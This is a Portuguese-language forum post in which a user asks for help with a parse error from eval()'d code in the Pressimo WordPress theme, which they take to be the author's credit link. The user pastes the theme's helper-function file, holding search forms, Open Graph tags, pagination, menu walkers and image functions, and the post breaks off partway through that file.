Du Carrasco Jr. 0 Denunciar post Postado Julho 5, 2014 Olá pessoal, Não sei se alguém conseguiria me ajudar. Eu encontrei um Tema que gostei muito para criar um blog. Porém ele está apresentando um erro. E fica feio começar um blog já com erro. :upset: Bom valos lá... O tema que eu escolhi chama Pressimo. Ele pode ser encontrado neste link: http://www.magpress.com/wordpress-themes/pressimo.html --- Eu instalei ele neste domínio: www.portalteste.ssa.ba --- Se você entrar no Portal Teste, você vai ver que tem um erro que aparece no sidebar laderal: Parse error: syntax error, unexpected '<' in /*/*/public_html/*/wp-content/themes/pressimo/lib/functions/theme-functions.php(1260) : eval()'d code(25) : eval()'d code on line 1 Eu não modifiquei nada nele ainda, só instalei. O erro que aparece, é um código que o programador que criou fez para citar ele como o dono do tema. --- Problemas: 1- Ele colocou um código para citar ele como dono no sidebar. (Não ligo de colocar um link e a autoria dele com nome e tudo mais, porém gostaria de modificar isso para colocar no final do site, ou em algum local mais discreto.). Obs: Eu ainda não alterei nada do tema. 2- Gostaria de retirar esse comentário de autoria desse local, e colocar no final do site de uma maneira mais discreta. --- Estarei aqui postando o código do arquivo do erro, para ver se alguém entende. Se alguém quiser baixar o tema inteiro é só ir no link que postei do tema no inicio do post. <?php if( !function_exists( 'get_my_custom_search_form' )): //////////////////////////////////////////////////////////////////// // Custom search form /////////////////////////////////////////////////////////////////// function get_my_custom_search_form() { ?> <form role="search" method="get" id="searchform" action="<?php echo home_url( '/' ); ?>"> <div><label class="screen-reader-text" for="s"><?php _e('Search for:', TEMPLATE_DOMAIN); ?></label> <input type="text" id="s" name="s" value="<?php _e('Type and Press Enter', TEMPLATE_DOMAIN); ?>" onfocus="if (this.value == '<?php _e('Type and Press Enter', TEMPLATE_DOMAIN); ?>') {this.value = '';}" onblur="if (this.value == '') {this.value = '<?php _e('Type and Press Enter', TEMPLATE_DOMAIN); ?>';}" tabindex="1" /></div></form> <?php } endif; if( !function_exists( 'get_my_custom_search_form_alt' )): //////////////////////////////////////////////////////////////////// // Custom search form /////////////////////////////////////////////////////////////////// function get_my_custom_search_form_alt() { ?> <form role="search" method="get" id="top-searchform" action="<?php echo home_url( '/' ); ?>"> <div><label class="screen-reader-text" for="s"><?php _e('Search for:', TEMPLATE_DOMAIN); ?></label> <input type="text" id="s" name="s" value="<?php _e('e.g Search Keyword', TEMPLATE_DOMAIN); ?>" onfocus="if (this.value == '<?php _e('e.g Search Keyword', TEMPLATE_DOMAIN); ?>') {this.value = '';}" onblur="if (this.value == '') {this.value = '<?php _e('e.g Search Keyword', TEMPLATE_DOMAIN); ?>';}" tabindex="1" /> <input type="submit" value="<?php _e('Search', TEMPLATE_DOMAIN); ?>" /> </div> </form> <?php } endif; //////////////////////////////////////////////////////////////////////////////// //Adding the Open Graph in the Language Attributes //////////////////////////////////////////////////////////////////////////////// function mp_add_opengraph_doctype( $output ) { return $output . ' xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml"'; } //Lets add Open Graph Meta Info function mp_insert_fb_in_head() { global $post,$shortname,$option_upload_path,$option_upload_url; $thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), "thumbnail" ); $fb_app_id = get_theme_option('fb_app_id'); $fb_admin_id = get_theme_option('fb_admin_id'); ?> <!-- start open graph code --> <?php if($fb_app_id): ?> <meta property="fb:app_id" content="<?php echo $fb_app_id; ?>" /> <?php endif; ?> <?php if($fb_admin_id): ?> <meta property="fb:admins" content="<?php echo $fb_admin_id; ?>" /> <?php endif; ?> <?php if( is_singular() ) { ?> <meta property="og:url" content="<?php echo the_permalink() ?>"/> <meta property="og:title" content="<?php echo the_title_attribute(); ?>" /> <meta property="og:description" content="<?php echo get_the_featured_excerpt($excerpt_length=30); ?>" /> <meta property="og:type" content="article" /> <meta property="og:image" content="<?php if( !empty($thumbnail_src) ) { echo $thumbnail_src[0]; } else { echo get_template_directory_uri() . '/images/noimage.png'; } ?>" /> <meta property="og:site_name" content="<?php bloginfo('name'); ?>" /> <?php } else { ?> <meta property="og:site_name" content="<?php bloginfo('name'); ?>" /> <meta property="og:title" content="<?php bloginfo('description'); ?>" /> <meta property="og:url" content="<?php echo site_url() ?>"/> <meta property="og:description" content="<?php bloginfo('description'); ?>" /> <meta property="og:type" content="website" /> <?php if( file_exists( $option_upload_path . '/' . $shortname . '_fav_icon.jpg' ) ) { ?> <meta property="og:image" content="<?php echo $option_upload_url . '/' . $shortname . '_fav_icon.jpg'; ?>" /> <?php } else { ?> <meta property="og:image" content="<?php echo get_template_directory_uri(); ?>/images/noimage.png" /> <?php } ?> <?php } ?> <!-- end open graph code --> <?php } function mp_check_builtin_opengraph() { if( get_theme_option('use_builtin_opengraph') == 'Enable' ) { add_filter('language_attributes', 'mp_add_opengraph_doctype'); add_action( 'wp_head', 'mp_insert_fb_in_head', 5 ); } } add_action('init','mp_check_builtin_opengraph'); if ( ! function_exists( 'mp_theme_wp_title' ) ) : /////////////////////////////////////////////////////////////////////////////////////// // Custom WP TITLE - original code ( twentytwelve_wp_title() ) - Credit to WordPress Team /////////////////////////////////////////////////////////////////////////////////////// function mp_theme_wp_title( $title, $sep ) { global $paged, $page; if ( is_feed() ) return $title; // Add the site name. $title .= get_bloginfo( 'name' ); // Add the site description for the home/front page. $site_description = get_bloginfo( 'description', 'display' ); if ( $site_description && ( is_home() || is_front_page() ) ) $title = "$title $sep $site_description"; // Add a page number if necessary. if ( $paged >= 2 || $page >= 2 ) $title = "$title $sep " . sprintf( __( 'Page %s', TEMPLATE_DOMAIN ), max( $paged, $page ) ); return $title; } if ( function_exists('aioseop_load_modules') || function_exists('wpseo_admin_init') ) { } else { add_filter( 'wp_title', 'mp_theme_wp_title', 10, 2 ); } endif; /////////////////////////////////////////////////////////////////////////////////////// // Custom WP Pagination original code ( woo_pagination() ) - Credit to WooCommerce code /////////////////////////////////////////////////////////////////////////////////////// if ( ! function_exists( 'custom_woo_pagination' ) ) { function custom_woo_pagination($pages = '', $range = 2) { $showitems = ($range * 2)+1; global $paged; if(empty($paged)) $paged = 1; if($pages == '') { global $wp_query; $pages = $wp_query->max_num_pages; if(!$pages) { $pages = 1; } } if(1 != $pages) { echo "<div class='wp-pagenavi iegradient'>"; if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>«</a>"; if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>‹</a>"; for ($i=1; $i <= $pages; $i++) { if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) { echo ($paged == $i)? "<span class='current'>".$i."</span>":"<a href='".get_pagenum_link($i)."' class='inactive' >".$i."</a>"; } } if ($paged < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($paged + 1)."'>›</a>"; if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>»</a>"; echo "</div>\n"; } } } // End IF Statement /////////////////////////////////////////////////////////////////////////////////////// // Custom WP Pagination original code ( kriesi_pagination() ) - Credit to kriesi code // http://www.kriesi.at/archives/how-to-build-a-wordpress-post-pagination-without-plugin /////////////////////////////////////////////////////////////////////////////////////// function dez_custom_kriesi_pagination($pages = '', $range = 2) { $showitems = ($range * 2)+1; global $paged; if(empty($paged)) $paged = 1; if($pages == '') { global $wp_query; $pages = $wp_query->max_num_pages; if(!$pages) { $pages = 1; } } if(1 != $pages) { echo "<div class='wp-pagenavi iegradient'>"; if($paged > 2 && $paged > $range+1 && $showitems < $pages) echo "<a href='".get_pagenum_link(1)."'>«</a>"; if($paged > 1 && $showitems < $pages) echo "<a href='".get_pagenum_link($paged - 1)."'>‹</a>"; for ($i=1; $i <= $pages; $i++) { if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )) { echo ($paged == $i)? "<span class='current'>".$i."</span>":"<a href='".get_pagenum_link($i)."' class='inactive' >".$i."</a>"; } } if ($paged < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($paged + 1)."'>›</a>"; if ($paged < $pages-1 && $paged+$range-1 < $pages && $showitems < $pages) echo "<a href='".get_pagenum_link($pages)."'>»</a>"; echo "</div>\n"; } } if( !class_exists('Custom_Description_Walker') ): //////////////////////////////////////////////////////////////////// // add description to wp_nav /////////////////////////////////////////////////////////////////// class Custom_Description_Walker extends Walker_Nav_Menu { /** * Start the element output. * * @param string $output Passed by reference. Used to append additional content. * @param object $item Menu item data object. * @param int $depth Depth of menu item. May be used for padding. * @param array $args Additional strings. * @return void */ function start_el(&$output, $item, $depth, $args) { $classes = empty ( $item->classes ) ? array () : (array) $item->classes; $class_names = join(' ', apply_filters('nav_menu_css_class',array_filter( $classes ), $item) ); if( empty ( $item->description ) ): $no_desc = 'no_desc'; else: $no_desc = 'have_desc'; endif; ! empty ( $class_names ) and $class_names = ' class="'. esc_attr( $class_names . ' ' . $no_desc ) . '"'; $output .= "<li id='menu-item-$item->ID' $class_names>"; $attributes = ''; ! empty( $item->attr_title ) and $attributes .= ' title="' . esc_attr( $item->attr_title ) .'"'; ! empty( $item->target ) and $attributes .= ' target="' . esc_attr( $item->target ) .'"'; ! empty( $item->xfn ) and $attributes .= ' rel="' . esc_attr( $item->xfn ) .'"'; ! empty( $item->url ) and $attributes .= ' href="' . esc_attr( $item->url ) .'"'; // insert description for top level elements only // you may change this $description = ( ! empty ( $item->description ) and 0 == $depth ) ? '<small class="nav_desc">' . esc_attr( $item->description ) . '</small>' : ''; $title = apply_filters( 'the_title', $item->title, $item->ID ); $item_output = $args->before . "<a $attributes>" . $args->link_before . $title . '<br /><span class="menu-decsription">' . $description . '</span>' . '</a> ' . $args->link_after . $args->after; // Since $output is called by reference we don't need to return anything. $output .= apply_filters( 'walker_nav_menu_start_el' , $item_output , $item , $depth , $args ); } } endif; /////////////////////////////////////////////////////////////////////////////// // custom walker nav for mobile navigation /////////////////////////////////////////////////////////////////////////////// class mobi_custom_walker extends Walker_Nav_Menu { function start_el(&$output, $item, $depth, $args) { global $wp_query; $indent = ( $depth ) ? str_repeat( "\t", $depth ) : ''; $class_names = $value = ''; $classes = empty( $item->classes ) ? array() : (array) $item->classes; $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) ); $class_names = ' class="'. esc_attr( $class_names ) . '"'; $output .= $indent . ''; $prepend = ''; $append = ''; //$description = ! empty( $item->description ) ? '<span>'.esc_attr( $item->description ).'</span>' : ''; if($depth != 0) { $description = $append = $prepend = ""; } $item_output = $args->before; if($depth == 1): $item_output .= "<option value='" . $item->url . "'> -- " . $item->title . "</option>"; elseif($depth == 2): $item_output .= "<option value='" . $item->url . "'> -- " . $item->title . "</option>"; elseif($depth == 3): $item_output .= "<option value='" . $item->url . "'> -- " . $item->title . "</option>"; else: $item_output .= "<option value='" . $item->url . "'>" . $item->title . "</option>"; endif; $item_output .= $args->after; $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args ); } } function get_wp_custom_mobile_nav_menu($get_custom_location='', $get_default_menu=''){ $options = array('walker' => new mobi_custom_walker(), 'theme_location' => "$get_custom_location", 'menu_id' => '', 'echo' => false, 'container' => false, 'container_id' => '', 'fallback_cb' => "$get_default_menu"); $menu = wp_nav_menu($options); $menu_list = preg_replace( '#^<ul[^>]*>#', '', $menu ); $menu_list2 = str_replace( array('<ul class="sub-menu">','<ul>','</ul>','</li>'), '', $menu_list ); return $menu_list2; } function revert_wp_mobile_menu_page() { global $wpdb; $qpage = $wpdb->get_results( "SELECT * FROM " . $wpdb->prefix . "posts WHERE post_type='page' AND post_status='publish' ORDER by ID"); foreach ($qpage as $ipage ) { echo "<option value='" . get_permalink( $ipage->ID ) . "'>" . $ipage->post_title . "</option>"; } } function get_mobile_navigation($type='', $nav_name='') { $id = "{$type}-dropdown"; $js =<<<SCRIPT <script type="text/javascript"> jQuery(document).ready(function(jQuery){ jQuery("select#{$id}").change(function(){ window.location.href = jQuery(this).val(); }); }); </script> SCRIPT; echo $js; echo "<select name=\"{$id}\" id=\"{$id}\">"; echo "<option>" . __('Where to?', TEMPLATE_DOMAIN) . "</option>"; ?> <?php echo get_wp_custom_mobile_nav_menu($get_custom_location=$nav_name, $get_default_menu='revert_wp_mobile_menu_page'); ?> <?php echo "</select>"; } if( !function_exists( 'get_browser_body_class' )): //////////////////////////////////////////////////////////////////// // Browser Detect /////////////////////////////////////////////////////////////////// function get_browser_body_class($classes) { global $is_lynx, $is_gecko, $is_IE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone; if($is_lynx) $classes[] = 'lynx'; elseif($is_gecko) $classes[] = 'gecko'; elseif($is_opera) $classes[] = 'opera'; elseif($is_NS4) $classes[] = 'ns4'; elseif($is_safari) $classes[] = 'safari'; elseif($is_chrome) $classes[] = 'chrome'; elseif($is_IE) $classes[] = 'ie'; else $classes[] = 'unknown'; if($is_iphone) $classes[] = 'iphone'; return $classes; } add_filter('body_class','get_browser_body_class'); endif; if( !function_exists('mk_add_rel_lightbox') ): function mk_add_rel_lightbox ($content) { global $post; $pattern = "/<a(.*?)href=('|\")([^>]*).(bmp|gif|jpeg|jpg|png)('|\")(.*?)>(.*?)<\/a>/i"; $replacement = '<a$1href=$2$3.$4$5 rel="gallery_group"$6>$7</a>'; $content = preg_replace($pattern, $replacement, $content); return $content; } add_filter('the_content', 'mk_add_rel_lightbox', 12); add_filter('get_comment_text', 'mk_add_rel_lightbox'); endif; if( !function_exists( 'get_avatar_recent_comment' )): //////////////////////////////////////////////////////////////////////////////// // Get Recent Comments With Avatar //////////////////////////////////////////////////////////////////////////////// function get_avatar_recent_comment($limit) { global $wpdb; $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_author_email, comment_date_gmt, comment_approved, comment_type,comment_author_url, SUBSTRING(comment_content,1,50) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' ORDER BY comment_date_gmt DESC LIMIT " . $limit; echo '<ul class="gravatar_recent_comment">'; $comments = $wpdb->get_results($sql); $gravatar_status = 'on'; /* off if not using */ foreach ($comments as $comment) { $grav_email = $comment->comment_author_email; $grav_name = $comment->comment_author; $grav_url = "http://www.gravatar.com/avatar.php?gravatar_id=".md5($grav_email). "&size=32"; ?> <li> <?php if($gravatar_status == 'on') { ?> <?php echo get_avatar( $grav_email, '120'); ?> <?php } ?> <div class="gravatar-meta"> <span class="author"><span class="aname"><?php echo strip_tags($comment->comment_author); ?></span> - </span> <span class="comment"><a href="<?php echo get_permalink($comment->ID); ?>#comment-<?php echo $comment->comment_ID; ?>" title="<?php __('on', TEMPLATE_DOMAIN); ?> <?php echo $comment->post_title; ?>"><?php echo strip_tags($comment->com_excerpt); ?>...</a></span> </div> </li> <?php } echo '</ul>'; } endif; if( !function_exists( 'get_hot_topics' )): //////////////////////////////////////////////////////////////////////////////// // Most Comments //////////////////////////////////////////////////////////////////////////////// function get_hot_topics($limit) { global $wpdb, $post; $mostcommenteds = $wpdb->get_results("SELECT $wpdb->posts.ID, post_title, post_name, post_date, COUNT($wpdb->comments.comment_post_ID) AS 'comment_total' FROM $wpdb->posts LEFT JOIN $wpdb->comments ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID WHERE comment_approved = '1' AND post_date_gmt < '".gmdate("Y-m-d H:i:s")."' AND post_status = 'publish' AND post_password = '' GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_total DESC LIMIT " . $limit); echo '<ul class="most-commented">'; foreach ($mostcommenteds as $post) { $post_title = htmlspecialchars(stripslashes($post->post_title)); $comment_total = (int) $post->comment_total; echo "<li><a href=\"".get_permalink()."\">$post_title</a><span class=\"total-com\"> ($comment_total)</span></li>"; } echo '</ul>'; } endif; if( !function_exists( 'get_rss_feed_post_thumbnail' )): //////////////////////////////////////////////////////////////////////////////// // Adds the post thumbnail to the RSS feed //////////////////////////////////////////////////////////////////////////////// function get_rss_feed_post_thumbnail($content) { global $post; if(has_post_thumbnail($post->ID)) { $content = '<p>' . the_post_thumbnail('medium', array('class' => '')) . '<br />' . get_the_excerpt() . '</p>'; } else { $content = '<p>' . get_the_excerpt() . '</p>'; } return $content; } //add_filter('the_excerpt_rss', 'get_rss_feed_post_thumbnail'); //add_filter('the_content_feed', 'get_rss_feed_post_thumbnail'); endif; //////////////////////////////////////////////////////////////////////////////// // excerpt filter //////////////////////////////////////////////////////////////////////////////// if( !function_exists('get_new_excerpt_length') ): function get_new_excerpt_length($length) { return 60; } add_filter('excerpt_length', 'get_new_excerpt_length'); endif; if( !function_exists('get_new_excerpt_more') ): function get_new_excerpt_more($more) { global $post; return '...'; } add_filter('excerpt_more', 'get_new_excerpt_more'); endif; if( !function_exists( 'get_short_feat_title' )): //////////////////////////////////////////////////////////////////////////////// // Get Short Featured Title //////////////////////////////////////////////////////////////////////////////// function get_short_feat_title($limit) { $title = get_the_title(); $count = strlen($title); if ($count >= $limit) { $title = substr($title, 0, $limit); $title .= '...'; } echo $title; } endif; if( !function_exists( 'get_short_text' )): //////////////////////////////////////////////////////////////////////////////// // Get Short Excerpt //////////////////////////////////////////////////////////////////////////////// function get_short_text($text='', $wordcount='') { $text_count = strlen( $text ); if ( $text_count <= $wordcount ) { $text = $text; } else { $text = substr( $text, 0, $wordcount ); $text = $text . '...'; } return $text; } endif; //////////////////////////////////////////////////////////////////////////////// // excerpt the_content() //////////////////////////////////////////////////////////////////////////////// if( !function_exists( 'get_custom_the_excerpt' )): function get_custom_the_excerpt($limit='',$more='') { $excerpt = explode(' ', get_the_excerpt(), $limit); $thepostlink = '<a class="post-more" href="'. get_permalink() . '" title="' . the_title_attribute('echo=0') . '">'; //remove caption tag $excerpt = preg_replace('`\[[^\]]*\]`','',$excerpt); //remove email tag $pattern = "/[^@\s]*@[^@\s]*\.[^@\s]*/"; $replacement = ""; $excerpt = preg_replace($pattern, $replacement, $excerpt); //remove link url tag $pattern = "/[a-zA-Z]*[:\/\/]*[A-Za-z0-9\-_]+\.+[A-Za-z0-9\.\/%&=\?\-_]+/i"; $replacement = ""; $excerpt = preg_replace($pattern, $replacement, $excerpt); if (count($excerpt)>=$limit) { array_pop($excerpt); if($more) { $excerpt = implode(" ",$excerpt).'...'. $thepostlink.$more.'</a>'; } else { $excerpt = implode(" ",$excerpt).'...'; } } else { $excerpt = implode(" ",$excerpt); } return $excerpt; } endif; function get_custom_the_content($limit) { global $id, $post; $content = explode(' ', get_the_content(), $limit); if (count($content)>=$limit) { array_pop($content); $content = implode(" ",$content).'...'; } else { $content = implode(" ",$content); } $content = preg_replace('/\[.+\]/','', $content); $content = apply_filters('the_content', $content); $content = str_replace(']]>', ']]>', $content); $content = strip_tags($content, '<p>'); return $content; } //////////////////////////////////////////////////////////////////////////////// // remove http or https //////////////////////////////////////////////////////////////////////////////// if( !function_exists('remove_http') ): function remove_http($url) { $disallowed = array('http://', 'https://'); foreach($disallowed as $d) { if(strpos($url, $d) === 0) { return str_replace($d, '', $url); } } return $url; } endif; //////////////////////////////////////////////////////////////////////////////// // get featured images //////////////////////////////////////////////////////////////////////////////// if( !function_exists( 'get_featured_post_image' )): function get_featured_post_image($before,$after,$width,$height,$class,$size,$alt,$title,$default) { //$size - full, large, medium, thumbnail global $blog_id,$wpdb, $post, $posts; $timthumb_on = get_theme_option('timthumb_usage'); $image_id = get_post_thumbnail_id(); $image_url = wp_get_attachment_image_src($image_id,$size); $image_url = $image_url[0]; $current_theme = wp_get_theme(); if($timthumb_on == 'Enable'): //if use timthumb if( !has_post_thumbnail( $post->ID ) ) { $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches[1][0]; $siteurl = get_site_url(); $main_siteurl = remove_http( $siteurl ); if ( strpos( $first_img, $main_siteurl ) == TRUE ) { $is_internal_img = 'yes'; } else { $is_internal_img = 'no'; } ?> <?php if( !empty($first_img) && $is_internal_img == 'yes' ) { if( !is_multisite() ) { return $before . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . $first_img . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />" . $after; } else { return $before . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . str_replace( get_blog_option( $blog_id,'fileupload_url'),get_blog_option($blog_id,'upload_path'), $first_img) . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />" . $after; } } else { if($default == 'true'): if( !is_multisite() ) { return $before . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_template_directory_uri() . '/images/feat-default.jpg' . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />" . $after; } else { return $before . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . 'wp-content/themes/' . strtolower( $current_theme ) . '/images/feat-default.jpg' . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />" . $after; } endif; } } else { //if post_thumbnail found if( !is_multisite() ) { return $before . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . $image_url . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />" . $after; } else { return $before . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . str_replace( get_blog_option( $blog_id,'fileupload_url'),get_blog_option($blog_id,'upload_path'), $image_url) . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />" . $after; } } else: //if timthumb not use $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); if( isset($matches[1][0] ) ): $first_img = $matches[1][0]; endif; if( has_post_thumbnail( $post->ID ) ) { return $before . "<img width='" . $width . "' height='auto' class='" . $class . "' src='" . $image_url . "' alt='" . $alt . "' title='" . $title . "' />" . $after; } else { if($first_img) { return $before . "<img width='" . $width . "' height='auto' class='" . $class . "' src='" . $first_img . "' alt='" . $alt . "' title='" . $title . "' />" . $after; } else { if($default == 'true'): return $before . "<img width='" . $width . "' height='auto' class='" . $class . "' src='" . get_template_directory_uri() . '/images/post-default.jpg' . "' alt='" . $alt . "' title='" . $title . "' />" . $after; endif; } } endif; // end check } endif; //////////////////////////////////////////////////////////////////////////////// // get featured slider images //////////////////////////////////////////////////////////////////////////////// if( !function_exists( 'get_featured_slider_image' )): function get_featured_slider_image($width, $height, $class, $size, $alt, $title) { //$size - full, large, medium, thumbnail global $blog_id,$wpdb, $post, $posts; $timthumb_on = get_theme_option('timthumb_usage'); $image_id = get_post_thumbnail_id(); $image_url = wp_get_attachment_image_src($image_id, $size); $image_url = $image_url[0]; $current_theme = wp_get_theme(); if(!$image_url){ $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches[1][0]; $siteurl = get_site_url(); $main_siteurl = remove_http( $siteurl ); if ( strpos( $first_img, $main_siteurl ) == TRUE ) { $is_internal_img = 'yes'; } else { $is_internal_img = 'no'; } ?> <?php if( !empty($first_img) && $is_internal_img == 'yes' ) { if( !is_multisite() ) { return "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . $first_img . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />"; } else { return "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . str_replace( get_blog_option( $blog_id,'fileupload_url'),get_blog_option($blog_id,'upload_path'), $first_img) . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />"; } } else { if( !is_multisite() ) { return "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_template_directory_uri() . '/images/feat-default.jpg' . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />"; } else { return "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . 'wp-content/themes/' . strtolower( $current_theme ) . '/images/feat-default.jpg' . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />"; } } } else { //if post_thumbnail found if( !is_multisite() ) { return "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . $image_url . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />"; } else { return "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . str_replace( get_blog_option( $blog_id,'fileupload_url'),get_blog_option($blog_id,'upload_path'), $image_url) . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='" . $alt . "' title='" . $title . "' />"; } } } endif; //////////////////////////////////////////////////////////////////////////////// // get featured images //////////////////////////////////////////////////////////////////////////////// if( !function_exists( 'get_featured_post_lightbox_image' )): function get_featured_post_lightbox_image($width, $height, $class) { global $blog_id,$wpdb, $post, $posts; $timthumb_on = get_theme_option('timthumb_usage'); $image_id = get_post_thumbnail_id(); $image_url = wp_get_attachment_image_src($image_id,'full'); $image_url = $image_url[0]; $current_theme = wp_get_theme(); if($timthumb_on == 'Enable'): //if use timthumb if(!$image_url) { $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches[1][0]; $siteurl = get_site_url(); if ( strpos($first_img,$siteurl ) == TRUE ) { $is_internal_img = 'yes'; } else { $is_internal_img = 'no'; } ?> <?php if( $first_img && $is_internal_img == 'yes' ) { if( !is_multisite() ) { return "<a rel='gallery_group'" . " href='" . $first_img . "'>" . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . $first_img . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='' /></a>"; } else { return "<a rel='gallery_group'" . " href='" . $first_img . "'>" . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . str_replace( get_blog_option( $blog_id,'fileupload_url'),get_blog_option($blog_id,'upload_path'), $first_img) . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='' /></a>"; } } else { if( !is_multisite() ) { return "<a rel='gallery_group'" . " href='" . get_template_directory_uri() . '/images/feat-default.jpg' . "'>" . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_template_directory_uri() . '/images/feat-default.jpg' . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='' /></a>"; } else { return "<a rel='gallery_group'" . " href='" . get_template_directory_uri() . '/images/feat-default.jpg' . "'>" . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . 'wp-content/themes/' . strtolower( $current_theme ) . '/images/feat-default.jpg' . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='' /></a>"; } } } else { if( !is_multisite() ) { return "<a rel='gallery_group'" . " href='" . $image_url . "'>" . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . $image_url . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='' /></a>"; } else { return "<a rel='gallery_group'" . " href='" . $image_url . "'>" . "<img class='" . $class . "' src='" . get_template_directory_uri() . "/lib/timthumb/timthumb.php?src=" . get_current_site(1)->path . str_replace( get_blog_option( $blog_id,'fileupload_url'),get_blog_option($blog_id,'upload_path'), $image_url) . "&h=" . $height . "&w=" . $width . "&zc=1&a=tl' alt='' /></a>"; } } else: //if timthumb not use $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches[1][0]; if( has_post_thumbnail( $post->ID ) ) { return "<a rel='gallery_group'" . " href='" . $image_url . "'>" . "<img width='" . $width . "' height='auto' class='" . $class . "' src='" . $image_url . "' title='" . $title . "' /></a>"; } else { if($first_img) { return "<a rel='gallery_group'" . " href='" . $first_img . "'>" . "<img width='" . $width . "' height='auto' class='" . $class . "' src='" . $first_img . "' title='" . $title . "' /></a>"; } else { return "<a rel='gallery_group'" . " href='" . get_template_directory_uri() . '/images/feat-default.jpg' . "'>" . "<img width='" . $width . "' height='auto' class='" . $class . "' src='" . get_template_directory_uri() . '/images/post-default.jpg' . "' title='" . $title . "' /></a>"; } } endif; // end check } endif; if( !function_exists( 'get_the_featured_excerpt' )): //////////////////////////////////////////////////////////////////////////////// // Featured Content Excerpt Post //////////////////////////////////////////////////////////////////////////////// function get_the_featured_excerpt($excerpt_length='', $allowedtags='', $filter_type='none', $use_more_link=false, $more_link_text="", $force_more_link=false, $fakeit=1, $fix_tags=true) { if (preg_match('%^content($|_rss)|^excerpt($|_rss)%', $filter_type)) { $filter_type = 'the_' . $filter_type; } $text = apply_filters($filter_type, get_the_featured_excerpt_init($excerpt_length, $allowedtags, $use_more_link, 